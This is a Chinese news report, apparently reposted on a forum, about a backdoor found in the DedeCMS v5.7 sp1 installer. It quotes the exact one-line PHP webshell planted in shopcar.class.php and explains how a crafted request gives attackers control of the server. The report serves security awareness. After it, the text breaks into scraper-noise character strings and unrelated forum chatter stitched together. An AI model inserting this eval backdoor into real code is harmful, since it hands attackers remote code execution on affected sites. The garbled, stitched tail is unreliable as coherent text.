织梦CMS系统被曝植入后门 70万网站资料或泄露

网易科技讯 3月22日消息，瑞星与360今日对外发布警示，称国内知名的PHP开源网站管理系统织梦CMS（DedeCms）v5.7  sp1版本安装包被发现植入后门，黑客可通过此后门直接获得网站的控制权限，获取存储在服务器上的文件和数据库。
据织梦CMS官方数据显示，目前约有70万网站使用该系统搭建，涉及企业、政府机关、媒体机构、行业及个人网站等。
安全界人士分析发现，此次织梦CMS曝出的后门恶意代码存在于购物车类文件（shopcar.class.php）中，此类文件被植入一句后门代码“@eval(file_get_contents('php://input'));”。凡是调用该购物车类的文件均会触发后门，黑客只需要构造简单的数据包提交到服务器，就能够获取到该网站的WebShell，通过对服务器进一步渗透攻击，进而获取服务器的最高权限，直接访问服务器上的文件、数据库等信息。（易科）
# i. }7 t* w, Y# I  r

织梦dedeCMS中被植入的后门代码

5 t, H- a+ @2 ?  Q

织梦CMS中被植入的后门代码

# @+ c' ~( W- A* p5 ]3 J- I延伸阅读：

# c' n! G+ A/ N

: R; x' \) g, T8 t
• Dedecms被曝疑似植入后门 可成功控制网站
  ( K8 x  M1 g# W  @2 j; r

为了不让帖子沉得太快！！！为了人人知道这个~！！ 我不是原创~！！但是我要把他发扬广大~！！！

今天统计好像出了问题

哈哈~` 你好有意思哦~

来电来函..欢迎洽购...

哎 天理何在啊??

有现实中的偶在这...不佩服.............佩服电影里的....

我想骂我自己

真是天底下好事多多

k了我一个月的站，刚才site的时候

这个站一周前刚刚有了点起色

哥们，给我做个链接吧

晚安 别让小嫁再郁闷了 -

看,刚说你眼神不好,你还就来劲了不是.

我不知道他说的是什么啊~~